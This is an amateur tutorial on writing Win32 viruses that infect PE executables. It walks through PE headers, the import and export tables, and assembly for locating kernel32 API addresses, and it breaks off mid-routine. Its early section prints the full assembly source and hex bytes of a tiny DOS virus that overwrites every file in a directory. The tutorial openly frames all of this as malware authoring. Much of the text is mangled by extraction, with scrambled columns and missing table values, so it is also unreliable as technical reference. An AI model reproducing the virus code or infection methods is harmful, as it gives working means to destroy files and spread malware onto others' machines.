Pe Infection Tutorial
Pe Infection Tutorial
Pe Infection Tutorial
#1
#2
#3
#4
#5
#6
#7
#8
#9
:
:
:
:
:
:
:
:
:
FIRST WORDS
VIEW OF THE PAST
YOUR FIRST PROGRAMM IN WIN32
PE FILE FORMAT
ACCESSING WIN32 API
HOW TO USE SOME APIS
DELTA OFFSET
RETURN TO THE HOST
TIPS n' TRICKS
CODE SECTION WRITEABLE
REDUCE YOUR CODE
COMPRESSED PE FILE
=============================================================
+
________
+
+
/\
|---\
|
|
|
/|
+
+
/ \
|
|
|
--+----+-/ |
+
+
/
\
|___/
|
|
|
/ |
+
+
/------\ | \
|
--+----+-|
+
+
/
\ |
\
|
|
|
|
+
+
+
=============================================================
FIRST WORDS
So you want to code your own WIN32 virus ! ! ! If you are not stupid, if you
are patient and if you want really to do it then you can write a WIN32 virus
in asm language..... But first you should answer to this stupid question:
WHY DO YOU WANT TO DO IT !!!!?
-
To destroy files?
To kill all the BIOS of the universe?
To fuck Micro$oft OS?
Because it's only a chanlenge for you?
To claim to the world a message of peace?
If you choose one of the three first answer, then you should phone to a
psychiatric therapist ! ! ! ! ! But if you want to claim a message of peace
then you are welcome in vx coding world...
Writing a virus is forbidden, so you should be prudent, and you had better
not to ask stupid questions. See law texts about informatics.
What you should have:
-A brain. (Logical and equipped with the option "English language")
-A computer.
-Patience.
-A linker (TASM, NASM, MASM...) and his Doc. I prefer NASM ....
(with NASM you can code for UNIX n' WIN32 platform, NASM is open
source!!!) (MASM means 'Micro$oft ASM'...no comment...)
-An asm file editor (of course you can only use NOTEPAD...)
but see QEDITOR.EXE in MASM pack
:
:
:
:
:
ft).
-Doc about how to use WIN32 APIs (WIN32.HLP).
You should read all you will find about vx coding, read, read and read....
=============================================================
+
________
__ +
+
/\
|---\
|
|
|
/ \ +
+
/ \
|
|
|
--+----+-/ | +
+
/
\
|___/
|
|
|
/ +
+
/------\ | \
|
--+----+-/
+
+
/
\ |
\
|
|
|
/___ +
+
+
=============================================================
A VIEW OF THE PAST
Here I will speak about the old DOS viruses:
DOS IS DEAD !!! I loved DOS because it was my first OS on an old 186 with
an 'Hercules' graphic card ;-)
Writing a simple DOS virus is very, very, very easy...I've learn vx coding wi
th
some old tutorials (40 hex...)
Common target files for viruses:
-
*.COM
*.EXE
*.SYS
*.DOC
*.ZIP *.ARJ *.ARC ,all compressed archive files.
*.OBJ *.ASM ;-)
Methods of infection:
*
*
*
*
overwriting
non-overwriting (appending)
companion
BOOT infector
After infection
+---------------+
| F F F F F F |
| I I I I I I |
| L L L L L L |
| E E E E E E |
+---------------+
+---------------+
| V I R U S |
+---------------+
| L L L L L L |
| E E E E E E |
+---------------+
After infection
---->-- +---------------+ <-- +---------------+
| --<-| JMP to VIRUS | <-- | F F F F F F |
| | |
| <-- | I I I I I I |
| | +---------------+
+---------------+
| | | L L L L L L |
|
| | | E E E E E E |
|
| | +---------------+
|
| -->-| INFECT FILES |
|
|
+---------------+
|
|
| RESTORE THE |
|
|
| FIRST OVER- |--->-------/
|
| WRITED BYTES |
|
+---------------+
----<---|JMP to the host|
+---------------+
The virus copy himself to the end of the host and overwrite the first bytes
by writing an JMP op code to the virus, infect others files, restore the
first overwritten bytes, and jmp to the host (beginning of the file)...
COMPANION VIRUS:
We found some companion viruses code in WIN32 but they appeared under DOS:
-DOS
-DOS
-DOS
-DOS
SEGMENT
ASSUME CS:_CODE
ORG
100h
FILE
DB '*.*',0h
AH,4Eh
DX,SI
21h
; Let's search!
; Make DX = 100h (offset file)
; Search now dude!
MOV
MOV
INT
XCHG
AX,3D01h
DX,9Eh
21h
BX,AX
;
;
;
;
MOV
JMP
AH,40h
DO_IT
; Write myself!
; Use other routine
ENDS
END
START
START:
MOV
DO_IT: MOV
INT
_CODE
; If you don't like my english: Get lost, you can understand it!
;------------------------------------------------------------------------This virus overwrite all file (*.*) he find in the current directory only.
He looks like:
2A 2E 2A 00 B4 4E 8B D6 CD 21 B8 01 3D BA 9E 00 CD 21 93 B4 40 EB EF
very tiny, is'nt it?
It was a challenge under DOS to code the smallest virus...strange game !
=============================================================
+
________
___ +
+
/\
|---\
|
|
|
/ \ +
+
/ \
|
|
|
--+----+-/
| +
+
/
\
|___/
|
|
|
__/ +
+
/------\ | \
|
--+----+-\ +
+
/
\ |
\
|
|
|
\
| +
+
\___/ +
=============================================================
YOUR FIRST WIN32 PROGRAMM
Asm is the most powerful language but the more difficult to learn. Use
your brain ;-)
If you have began coding asm under DOS so you can easy understand this:
;----------------------------------------------------------------;
model tiny
; model for a .COM file
;
.radix 16
;
;
.code
; code section
;
org 100h
; a .COM file is load at offset 100h
;
start:
; coded for TASM
;
;------------------------;
;
;
mov ah,09
;
;
mov dx,offset hello ; address of text to print on screen
;
int 21
;
;
;
mov ax,4c00
;
;
int 21
; END !
;
;
hello db "HELLO $",0
;
;
;----------------------------------------------------------------;
You had to put some values on specific register before to call DOS or BIOS
interrupt(int). In win32 you should put values on stack before to call
WIN32 API and the APIs will do the job for you.
I will now show you the same program in WIN32:
;----------------------------------------------------------;
; Coded for NASM
;
; nasm -fobj hello.asm
;
; alink -oPE hello \lib\kernel32.lib \lib\user32.lib
;
;
extern MessageBoxA
; APIs used
;
extern ExitProcess
; in this file
;
;
[SECTION CODE USE32 CLASS=CODE] ; code section
;
..start:
; for the linker
;
;
push byte 0
; only the buttons 'OK'
;
push dword caption
; caption of the BOX
;
push dword text
; text in the BOX
;
push byte 0
; handle of the Box
;
call MessageBoxA
;
;
push byte 0
;
;
call ExitProcess
; EXIT
;
;
caption db "Your first WIN32 programm",0
;
text db "HELLO",0
;
;
end
; for the linker
;
;
;----------------------------------------------------------;
you can link and compile this prog...I will use it to explain you some tricks
=============================================================
+
________
+
+
/\
|---\
|
|
|
/
+
+
/ \
|
|
|
--+----+-/
+
+
/
\
|___/
|
|
|
/ |
+
+
/------\ | \
|
--+----+-- /---|-- +
+
/
\ |
\
|
|
|
|
+
+
+
=============================================================
PE FILE FORMAT
- Where DOS were still alive the two principal file formats of executable fil
es
were *.COM and *.EXE ,the image of a COM file (after been loaded in memory)
is
the same as is physical aspect (on hard drive). The image is just load
after the PPS (Post Prefix Segment). A .COM file begin at offset 100h on
memory, and his size can't be more than FFFFh bytes. It is not the case
for EXE files. A EXE file begin with an header on which are put some
values needed to load the file (DOS EXE files have only one header)
- Windows 3.x appeared with a new kind of executable: the NE .EXE files
(New Executable)
- Windows 9X appeared with a new .EXE format: the PE .EXE files (Portable
Executable) The name "Portable Executable" refers to the fact that the
format is not architecture-specific.
I will now show you the PE file format (PE32 only):
A .EXE PE file looks like this:
+--------------------------+
|
OLD DOS EXE HEADER
|
+--------------------------+
|
PE HEADER
|
+--------------------------+
|
PE OPTIONAL HEADER
|
+--------------------------+
|
OBJECT TABLE
|
+--------------------------+
|
SECTION # 1
|
+--------------------------+
|
SECTION # 2
|
+--------------------------+
|
SECTION # 3
|
+--------------------------+
.
|
.
|
.
|
.
|
+--------------------------+
|
SECTION # n
|
+--------------------------+
The most common section you will find in PE file are:
-code section
-data sections
-import section
2 BYTEs
WORD
WORD
WORD
WORD
WORD
WORD
WORD
WORD
WORD
DWORD
WORD
WORD
4 BYTEs
WORD
26 BYTEs
DWORD
Description
.EXE signature, "MZ" (4D5Ah)
number of bytes in last page
number of pages (include the last page) (a page=512 bytes)
number of relocation entries
header size in paragraphs (a paragraph=16 bytes)
minimum paragraphs of memory needed
maximum paragraphs of memory needed
initial SS
initial SP
checksum
initial CS:IP (beginning of the executable)
Set to 40h or more for new-format (NE,LE,LX,PE,...)
overlay number (normally set to 0)
Reserved
?
Reserved
offset of new executable (NE,LE,PE,...) header
Physical
offset
0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000
00000010
00000020
00000030
00000040
00000050
00000060
4D
00
00
00
0E
69
72
5A
01
00
00
1F
73
65
6C
00
00
00
BA
20
73
00
00
00
00
0E
70
20
01
00
00
00
00
72
57
00
00
00
00
B4
6F
69
00
00
00
00
09
67
6E
00
00
00
00
CD
72
33
04
40
00
00
21
61
32
00
00
00
00
B8
6D
0D
11
00
00
00
00
20
0A
00
00
00
00
4C
72
24
FF
00
00
70
CD
65
00
FF
00
00
00
21
71
00
03
00
00
00
54
75
00
00
00
00
00
68
69
00
MZ..............
................
................
................
..............Th
is program requi
res WIN32.......
-At offset 0h you can see the MZ signature (4D5Ah), all EXE files begin
with this signature.
-At Offset 18h is the word 0040h so if you try to run this file under DOS the
n
a JMP to offset 40h is done and the code is:
HEX values
0E
1F
BA0E00
B409
CD21
B8004C
CD21
op codes
-
push cs
pop ds
mov dx,offset text ;
mov ah,09
;
int 21
; print text on screen
mov ax,4C00
;
int 21
; END
text db "This programm requires WIN32",0D,0A
So the .EXE file print "This programm requires WIN32" if you don't run it
in a WIN32 environment (win9x and later)
-At offset 3ch is the dword 'header relocation'. This value here is 70h
So the New Header (PE header) begin at offset 70h
*************
* PE HEADER *
*************
The PE HEADER looks like:
<---------DWORD---------> <---WORD--->
+-------------------------+------------+------------+
|
SIGNATURE
| CPU TYPE | # OBJECTS |
+-------------------------+------------+------------+
|
TIME/DATE
|
RESERVED
|
+-------------------------+-------------------------+
|
RESERVED
| OPTIONAL |
FLAGS |
|
| HDR SIZE |
|
+-------------------------+------------+------------+
SIGNATURE
CPU TYPE
unknown
386 or later, and compatible processors.
80486
Pentium TM
MIPS Mark I (R2000, R3000)
MIPS Mark II (R6000)
MIPS Mark III (R4000)
MIPS little-endian
MIPS little-endian WCE v2
Alpha_AXP
IBM PowerPC Little-Endian
Hitachi SH3 little-endian
Hitachi SH3E little-endian
SH4 little-endian
ARM Little-Endian
Power PC, little endian
Intel 64
MIPS16
Motorola 68000 series
Alpha AXP 64-bit
MIPS FPU
MIPS 16 FPU
ALPHA64
# OBJECTS
TIME/DATE
Definition
0 1 2 3 4 5 6 7 8 9 A B C D E F
00000070
00000080
50 45 00 00 4C 01 04 00 74 93 5D 3D 00 00 00 00
00 00 00 00 E0 00 02 01
PE..............
................
**********************
* PE OPTIONAL HEADER *
**********************
Before to show you the structure of the PE OPTIONAL HEADER I will tell you
some word about the notion of IMAGE BASE and Relative Virtual Address (RVA)
It is very simple but very important in WIN32 environment: The IMAGE BASE
is the address on which the file is load by the loader, so at this address
we will find the beginning of the file (old MZ DOS HEADER).
An RVA is in fact a distance from the image base (from the beginning of the
image of the file). For example if a file has 00400000h for IMAGE BASE and
his first section has for RVA 001000h then this section will be load at this
address: 00400000h + 00001000h (IMAGE BASE+RVA). CLEAR?
The PE OPTIONAL HEADER is place just after the PE HEADER. There are a lot of
very important for the loader and for us! I still don't know why it is called
'OPTIONAL'.
The PE OPTIONAL HEADER (PE32 only) looks like:
<---WORD--->
<---------DWORD--------->
+------------+------------+------------+------------+
| SIGNATURE? | LMAJOR | LMINOR | RESERVED |
+------------+------------+------------+------------+
|
RESERVED
|
RESERVED
|
+-------------------------+-------------------------+
|
ENTRYPOINT RVA
|
RESERVED
|
+-------------------------+-------------------------+
|
RESERVED
|
IMAGE BASE
|
+-------------------------+-------------------------+
|
OBJECT ALIGN
|
FILE ALIGN
|
+-------------------------+-------------------------+
| OS MAJOR | OS MINOR | USER MAJOR | USER MINOR |
+------------+------------+------------+------------+
| SUBSYS MAJ | SUBSYS MIN |
RESERVED
|
+------------+------------+-------------------------+
|
IMAGE SIZE
|
HEADER SIZE
|
+-------------------------+------------+------------+
|
FILE CHECKSUM
| SUBSYSTEM | DLL FLAGS |
+-------------------------+------------+------------+
|
STACK RESERVE SIZE | STACK COMMIT SIZE
|
+-------------------------+-------------------------+
| HEAP RESERVE SIZE
|
HEAP COMMIT SIZE
|
+-------------------------+-------------------------+
|
RESERVED
|
# RVA/SIZES
|
+-------------------------+-------------------------+
|
EXPORT TABLE RVA
| TOTAL EXPORT DATA SIZE |
+-------------------------+-------------------------+
| IMPORT TABLE RVA
| TOTAL IMPORT DATA SIZE |
+-------------------------+-------------------------+
| RESOURCE TABLE RVA
| TOTAL RESOURCE DATA SIZE|
+-------------------------+-------------------------+
| EXCEPTION TABLE RVA
|TOTAL EXCEPTION DATA SIZE|
+-------------------------+-------------------------+
| SECURITY TABLE RVA
|TOTAL SECURITY DATA SIZE |
+-------------------------+-------------------------+
| FIXUP TABLE RVA
| TOTAL FIXUP DATA SIZE |
+-------------------------+-------------------------+
| DEBUG TABLE RVA
|TOTAL DEBUG DIRECTORIES |
+-------------------------+-------------------------+
| IMAGE DESCRIPTION RVA |TOTAL DESCRIPTION SIZE |
+-------------------------+-------------------------+
| MACHINE SPECIFIC RVA | MACHINE SPECIFIC SIZE |
+-------------------------+-------------------------+
| THREAD LOCAL STORAGE RVA| TOTAL TLS SIZE
|
+-------------------------+-------------------------+
SIGNATURE?
LMAJOR/LMINOR
ENTRYPOINT RVA
IMAGE BASE
FILE ALIGN
OS MAJOR/OS MINOR
USER MAJOR/MINOR
SUBSYS MAJ/MIN
IMAGE SIZE
HEADER SIZE
FILE CHECKSUM
SUBSYSTEM
DLL FLAGS
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
Let's take a look at our hello.EXE file and especially at the OPTIONAL
HEADER:
Physical
offset
0 1 2 3 4 5 6 7 8 9 A B C D E F
00000080
00000090
000000A0
000000B0
000000C0
00
00
01
00
00
00
00
50
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
04
00
40
00
00
00
00
00
00
0B
00
00
04
00
01
10
10
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
02
00
00
02
00
00
00
00
00
00
00
00
00
00
00
00
........
................
................
................
................
000000D0
000000E0
000000F0
00000100
00000110
00000120
00000130
00000140
00000150
00000160
00
00
00
00
00
00
00
00
00
00
00
00
30
00
40
00
00
00
00
00
10
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
10
94
00
18
00
00
00
00
00
10
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
10
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
10
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
................
................
................
................
................
................
................
................
................
........
OBJECT NAME
VIRTUAL SIZE
RVA
PHYSICAL OFFSET : Physical offset for the object's first page. This offset is
relative to the beginning of the EXE file, and is aligned on a
multiple of the File Align field in the PE Header. The offset
is used as a seek value.
OBJECT FLAGS
: Flag bits for the object. The object flag bits have the
following definitions:
Flag
Definition
Physical
offset
0 1 2 3 4 5 6 7 8 9 A B C D E F
00000160
00000170
00000180
00000190
000001A0
000001B0
000001C0
000001D0
000001E0
000001F0
00000200
00
00
49
0C
00
00
00
72
18
00
10
00
4D
00
00
10
00
65
00
00
00
00
50
00
00
00
00
6C
00
00
00
00
4F
00
00
00
00
6F
00
00
00
00
52
00
60
00
00
63
00
40
10
00
54
06
00
30
00
73
0A
00
00
00
53
00
00
00
00
00
00
00
00
00
00
00
60
00
00
00
00
52
43
3A
00
00
00
69
94
00
00
00
4F
00
00
10
00
6D
00
00
10
00
44
00
00
00
00
70
00
00
00
00
45
00
00
00
00
6F
00
00
00
00
00
00
60
00
00
72
00
40
00
00
00
04
00
20
00
74
08
00
40
00
00
00
00
00
00
73
00
00
00
00
00
00
60
00
00
00
00
50
00
00
CODE....
................
................
IMPORTS.........
................
........imports.
................
................
relocs..........
................
........
-At offset 00000168h is the name of the first OBJECT TALBE: "CODE",0,0,0,0
With such a name we can easy deduce that it is the code section.
-At offset 00000174h is the RVA of this section: 00001000h. So the code
section will be loaded at offset 00401000h on memory (IMAGE BASE + RVA)
-At offset 0000017Ch is the PHYSICAL OFFSET: 00000400h. So this section is
writen on file at 00000400h (relative to the the beginning of the file)
-At offset 0000018Ch are the FLAGS: 60000060h
60000060h = 000000020h + 000000040h + 200000000h + 400000000h
|
|
|
|
Code object <----+
|
|
|
Initialized data object <-----+
|
|
Executable object <-----------------------+
|
Readable object <-------------------------------------+
******************
* IMPORT SECTION *
******************
The most difficult thing to understood in coding a win32 virus is the IMPORT
section: All APIs (like MessageBoxA, ExitProcess,...) are in some .DLL files
For example MessageBoxA is in user32.dll and ExitProcess is in kernel32.dll.
Before to run hello.exe, the import section contain all the APIs name and the
name of the .DLL used in hello.exe .When you run hello.exe file, the loader
write at the right place (in import section) the address of the APIs (entry
point in the .DLL files). Why a such thing??? because the .DLL file can be
loaded at different address ( at the image base; note that image base value
is only a suggested address). So the problem for us is that kernel32.dll is
not always at the same place (see different version of windows: 95, 98, 2000,
NT, ...) And the entry point of APIs are not at the same place...CLEAR ???
There is two ways to IMPORT APIs address in an PE .EXE file: by hint and by
ordinal. But there is only one way to EXPORT APIs address in a .DLL file: by
ordinal
I will try now to explain the
The IMPORT section (by hint)
DATA DIRECTORY is relative to
,list of pointer, API address
+-------------------------+-------------------------+
|
NULL
|
NULL
|
|
|
|
+-------------------------+-------------------------+
|
NULL
|
NULL
|
+-------------------------+-------------------------+
|
NULL
|
+-------------------------+
- RVA to a list of
pointer to APIs names
point to
- DATE/TIME
- RVA to API address list : This RVA point to the list of API address (the
loader write them...)
Ok let's see the IMPORT section of our hello.exe file:
View of IMPORT section BEFORE loading hello.exe
Physical
offset
0 1 2 3 4 5 6 7 8 9 A B C D E F
00000800
00000810
00000820
00000830
00000840
00000850
00000860
00000870
58
60
48
00
33
2E
78
86
30
30
30
00
32
64
30
30
00
00
00
00
2E
6C
00
00
00
00
00
00
64
6C
00
00
00
68
70
00
6C
00
00
00
00
30
30
00
6C
00
00
00
00
00
00
00
00
53
00
00
00
00
00
00
00
04
00
00
00
00
00
00
6B
78
86
00
00
00
00
00
65
30
30
00
00
00
00
00
72
00
00
4D
00
00
00
00
6E
00
00
65
3C
00
00
75
65
00
00
73
30
00
00
73
6C
00
00
73
00
00
00
65
33
00
00
61
00
00
00
72
32
00
00
67
............<0..
................
................
............user
32.dll..kernel32
.dll............
x0..............
0........Messag
00000880
00000890
65 42 6F 78 41 00 00 00 45 78 69 74 50 72 6F 63 eBoxA...ExitProc
65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 ess.............
0 1 2 3 4 5 6 7 8 9 A B C D E F
00403000
00403010
00403020
00403030
00403040
00403050
00403060
00403070
00403080
00403090
58
60
48
00
33
2E
2E
F8
65
65
30
30
30
00
32
64
41
D4
42
73
00
00
00
00
2E
6C
F5
F8
6F
73
00
00
00
00
64
6C
BF
BF
78
00
91
68
70
00
6C
00
00
00
41
00
A1
30
30
00
6C
00
00
00
00
00
39
00
00
00
00
53
00
00
00
00
37
00
00
00
00
04
00
00
00
00
00
B4
00
00
6B
78
86
00
45
00
00
C2
00
00
65
30
30
00
78
00
F5
1F
00
00
72
00
00
4D
69
00
BF
37
00
00
6E
00
00
65
74
00
3C
00
00
75
65
00
00
73
50
00
30
00
00
73
6C
00
00
73
72
00
00
F7
00
65
33
00
00
61
6F
00
00
BF
00
72
32
00
00
67
63
00
..........+<0..
........-.7..+
................
............user
32.dll..kernel32
.dll............
.A+............
+......Messag
eBoxA...ExitProc
ess.............
It's very clear that some bytes have change ! ! ! The loader has write entry
point of imported APIs and others values I have describe...
The 60 first bytes are the 3 IMPORT DATA DIRECTORYs. the Last IMPORT DATA
DIRECTORY is null to set the end.
I will try to explain with the first IMPORT DATA DIRECTORY (20 first bytes) :
-At offset 00403000h is an 'RVA to a list of pointer to APIs names': this RVA
is 00003058h so we go on 00403058h and we will found a list of (RVA)pointer.
(the last pointer of the list is NULL).
-At offset 00403058h is a first rva pointer: this values is 00003078h. so we
go on 00403078h and we found 0,0,"MessageBoxA",0 ; This is the Name of the
API (The first byte are not always null, but the last byte is null)
-At offset 00403062h is a second rva pointer: this values is 00000000h. so it
is the end of this list.
-At offset 00403004h is an DATE/TIME value, no interest...
-At offset 00403008h is the address of the .DLL (from which is imported
MessageBoxA) so BFF50000h is the beginning of the .DLL and if you go on
BFF50000h you will find the PE header of the .DLL (so the first two byte are
"MZ")
-At offset 004030Ch is the RVA pointer to .DLL name : here it is 0000303Ch
so go on 0040303Ch and you will find "user32.dll",0 ;it is the name of the
.DDL . so MessageBoxA is in user32.dll library.
-At offset 00403010h is the RVA to API address list: 00003060h so go on
00403060h and you find a list of address of the API:
-The 1st address is here: BFF5412Eh . So it is the entry point of the API
"MessageBoxA"
-The second address is null so it is the end of the list.
So :
**************************
* EXPORT DIRECTORY TABLE *
**************************
The export section begins with the Export Directory Table which describes the
remainder of the export information.
+-------------------------+-------------------------+
|
EXPORT FLAGS
|
TIME/DATE
|
+-------------------------+-------------------------+
|
MAJ\MIN VERSION
|
NAME RVA
|
+-------------------------+-------------------------+
|
ORDINAL BASE
|
# EAT ENTRIES
|
+-------------------------+-------------------------+
|
# NAME POINTERS
|
ADDRESS TABLE RVA
|
+-------------------------+-------------------------+
| NAME POINTER TABLE RVA |
ORDINAL TABLE RVA
|
+-------------------------+-------------------------+
EXPORT FLAGS
: currently set to 0
TIME/DATE STAMP
MAJ\MIN VERSION
NAME RVA
ORDINAL BASE
# EAT ENTRIES
# NAME POINTERS
NAME POINTER TABLE RVA : RVA of the Export Name Table Pointers. This address is
relative to the beginning of the Image Base. This table
is an array of RVA's with #Names entries.
ORDINAL TABLE RVA
************************
* Export Address Table *
************************
The Export Address Table contains list of dword of the address of exported
entrypoints of the API of the .DLL . An ordinal number is used to index the
Export Address Table. The Ordinal Base must be subtracted from the ordinal
number before indexing into this table.
******************************
* Export Name Table Pointers *
*******************************
The Export Name Table pointers array contains an address into the Export Name
Table. The pointers are 32-bits each (DWORD), and are relative to the Image
Base. The pointers are ordered lexically to allow binary searches.
************************
* Export Ordinal Table *
************************
The Export Name Table Pointers and the Export Ordinal Table form two parallel
arrays, separated to allow natural field alignment. The export ordinal table
array contains the Export Address Table ordinal numbers associated with the
named export referenced by corresponding Export Name Table Pointers.
The ordinals are 16-bits each (WORD), and already include the Ordinal Base
stored in the Export Directory Table.
*********************
* Export Name Table *
*********************
The Export Name Table contains optional ASCII names for exported entries in
the image. These tables are used with the array of Export Name Table Pointers
and the array of Export Ordinals to translate a procedure name string into an
ordinal number by searching for a matching name string. The ordinal number is
used to locate the entry point information in the Export Address Table.
Import references by name require the Export Name Table Pointers table to be
binary searched to find the matching name, then the corresponding Export
Ordinal Table is known to contain the entry point ordinal number. Import
references by ordinal number provide the fastest lookup because searching the
name table is not required. ASCII Strings are case sensitive and is
terminated by a null byte.
So let's take a look at kernel32.DLL (win98) after being load on memory by wi
ndows
MEMORY
offset
0 1 2 3 4 5 6 7 8 9 A B C D E F
BFF70000
BFF70010
BFF70020
BFF70030
BFF70040
BFF70050
BFF70060
BFF70070
BFF70080
BFF70090
BFF700A0
BFF700B0
BFF700C0
BFF700D0
BFF700E0
BFF700F0
BFF70100
4D
B8
00
00
0E
69
74
6D
50
00
00
00
04
00
00
00
00
5A
00
00
00
1F
73
20
6F
45
00
AA
90
00
50
00
00
00
90
00
00
00
BA
20
62
64
00
00
01
05
00
07
10
00
00
00
00
00
00
0E
70
65
65
00
00
00
00
00
00
00
00
00
03
00
00
00
00
72
20
2E
4C
E0
00
00
01
00
00
10
00
00
00
00
00
B4
6F
72
0D
01
00
00
00
00
04
10
00
00
00
00
00
00
09
67
75
0D
05
0F
00
F7
09
00
00
00
00
00
00
00
00
CD
72
6E
0A
00
21
00
BF
00
00
00
00
00
04
40
00
00
21
61
20
24
B4
0B
6F
00
04
98
00
50
00
00
00
00
00
B8
6D
69
00
C2
01
4B
10
00
C3
80
09
D0
00
00
00
00
01
20
6E
00
1F
03
01
00
00
07
00
05
05
00
00
00
00
4C
63
20
00
37
0A
00
00
00
00
00
00
00
FF
00
00
80
CD
61
44
00
00
00
00
00
00
02
00
B5
CC
FF
00
00
00
21
6E
4F
00
00
60
10
10
00
00
10
4F
76
00
00
00
00
54
6E
53
00
00
05
00
00
00
00
00
00
01
00
00
00
00
68
6F
20
00
00
00
00
00
00
00
00
00
00
MZ..............
................
................
................
..............Th
is program.canno
t.be.run.in.DOS.
mode............
PE..............
................
................
................
................
................
................
................
................
0 1 2 3 4 5 6 7 8 9 A B C D E F
BFFC0950
BFFC0960
BFFC0970
BFFC0980
BFFC0990
00
01
FC
D4
D4
00
00
16
13
13
00
00
05
00
00
00
00
00
00
00
A0
61
A0
D4
D4
C2
03
22
13
13
1F
00
05
00
00
37
00
00
00
00
00
E9
D4
D4
D4
00
02
13
13
13
00
00
00
00
00
00
00
00
00
00
72
78
D4
D4
4D
28
09
13
13
42
05
05
00
00
01
00
00
00
00
00
It is the beginning of EXPORT section, the 20 first byte are the EXPORT
DIRECTORY TABLE #1 , the 20 next byte are the EXPORT DIRECTORY #2 ,.....,
the EXPORT DIRECTORY TABLE #1 is:
0 1 2 3 4 5 6 7 8 9 A B C D E F
BFFC2870
4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 41 ..KERNEL32.dll.A
BFFC2880 64 64 41 74 6F 6D 41 00 41 64 64 41 74 6F 6D 57 ddAtomA.AddAtomW
BFFC2890 00 41 6C 6C 6F 63 43 6F 6E 73 6F 6C 65 00 41 6C .AllocConsole.Al
BFFC28A0 6C 6F 63 4C 53 43 61 6C 6C 62 61 63 6B 00
locLSCallback.
____________________________________________________________________________
ADDRESS TABLE
MEMORY
offset
0 1 2 3 4 5 6 7 8 9 A B C D E F
BFFC0970
D4 13 00 00 D4 13 00 00
........
BFFC0980 D4 13 00 00 D4 13 00 00 D4 13 00 00 D4 13 00 00 ................
BFFC0990 D4 13 00 00 D4 13 00 00 D4 13 00 00 4D 42 01 00 ................
BFFC09A0 B6 17 02 00 BA 18 01 00 33 F7 01 00 DA 0B 01 00 ................
BFFC09B0 76 C5 00 00 3D B5 03 00 19 13 00 00 E8 E4 00 00 ................
BFFC09C0 E2 F5 02 00 62 CF 02 00 C0 CF 02 00 9A CF 02 00 ................
BFFC09D0 66 2B 02 00 9C B0 02 00 7A B3 02 00 3A B4 02 00 ................
BFFC09E0 8B AF 02 00 8F AF 02 00 93 AF 02 00 97 AF 02 00 ................
BFFC09F0 DB B3 02 00 DE B0 02 00 16 49 00 00 1C 97 02 00 ................
BFFC0A00 9E B3 02 00 87 AF 02 00 AE AF 02 00 74 1F 00 00 ................
BFFC0A10 AB 1F 00 00 A4 16 00 00 7A 15 00 00 A1 16 00 00 ................
BFFC0A20 5D 15 00 00 9E 16 00 00 14 14 00 00 39 16 00 00 ................
BFFC0A30 9B 16 00 00 C5 21 00 00 EE 21 00 00 1F 16 03 00 ................
____________________________________________________________________________
API NAME POINTER TABLE
MEMORY
offset
0 1 2 3 4 5 6 7 8 9 A B C D E F
BFFC16F0
7F 28 05 00
....
BFFC1700 88 28 05 00 91 28 05 00 9E 28 05 00 AE 28 05 00 ................
BFFC1710 BE 28 05 00 CE 28 05 00 D9 28 05 00 E4 28 05 00 ................
BFFC1720 F0 28 05 00 F5 28 05 00 0A 29 05 00 1F 29 05 00 ................
____________________________________________________________________________
ORDINAL TABLE
MEMORY
offset
0 1 2 3 4 5 6 7 8 9 A B C D E F
BFFC22A0 31 00 75 00 7A 00 7B 00 7C 00 7D 00 7E 00 7F 00
BFFC22B0 80 00 81 00 82 00 83 00 84 00 85 00 86 00 87 00
BFFC22C0 88 00 89 00 8A 00 8B 00 8C 00 8D 00 8E 00 8F 00
BFFC22D0 90 00 94 00 91 00 92 00 93 00 95 00 96 00 97 00
BFFC22E0 98 00 99 00 9A 00 9B 00 9C 00 9D 00 9E 00 9F 00
BFFC22F0 A0 00 A1 00 A2 00 A3 00 A4 00 A5 00 A6 00 A7 00
BFFC2300 A8 00 A9 00 AA 00 AB 00 AC 00 AD 00 AE 00 AF 00
____________________________________________________________________________
Now I will try to explain how to find the address of the first API in the API
Name list:
API NAME POINTER TABLE and ORDINAL TABLE
the 1st API NAME POINTER has for ordinal
the 2nd API NAME POINTER has for ordinal
.
.
.
.
.
.
.
.
.
.
.
.
.
.
look at the beginning of API NAME POINTER TABLE and ORDINAL TABLE
* The first API NAME POINTER is: 0005287Fh (image_base+this_RVA=BFFC287Fh)
So see on BFFC287Fh: you find the ASCII string "AddAtomA",0 ;it is a name
of an API
* The first ORDINAL NUMBER
So we have see in the preview part that the problem for us is that
kernel32.dll And the entry point of API are not always at the same place. So
our objective is to find API address needed to run the virus: (like
CreateFile, WriteFile,...) To do this you should Find only two API address:
GetModuleHandle (or LoadLibraryA) and GetProcAddress. With them you can all
the other API address you want...
There is two way to find GetModuleHandle (or LoadLibraryA) and
GetProcAddress Address:
- By scanning the IMPORT section of the host file:
The problem here is that is the file don't import GetModuleHandle and
GetProcAddress so you can not find other API you need
- By scanning the EXPORT section of kernel32.DLL
The problem here is to find the image base (address) of kernel32.dll. In
win9X the addresses of .DLL were written on IMPORT section of the .EXE but it
is not the case on NT,2000,XP. So you can use this algo:
-find IMPORT section RVA in PE OPTIONAL HEADER
-find the first API address imported from kernel32.DLL
-set edi=this address found
-dec edi till you found the beginning of kernel32.dll ('MZ')
this code is only an example to find "MZ" signature in kernel32.dll
;***************
scan_IMPORT: ;*
;***************
mov esi,[image_base+ebp]
mov
add
mov
add
add
mov
add
add
;
;
;
;
;
;
;
;
eax,esi
eax,3ch
eax,[eax]
eax,esi
eax,128
eax,[eax]
eax,esi
eax,12
;******************
find_kernel32: ;*
;******************
xor ebx,ebx
cmp dword[eax],ebx
je erreur
call is_it_kernel32
cmp ecx,3
jae find_kernel_image_base
add eax,20
jmp find_kernel32
;
;
;
;
;
;
;
;************************
find_kernel_image_base:;*
;************************
mov eax,[eax+4]
add eax,esi
mov eax,[eax]
;
;
;
;
xchg edi,eax
;********************
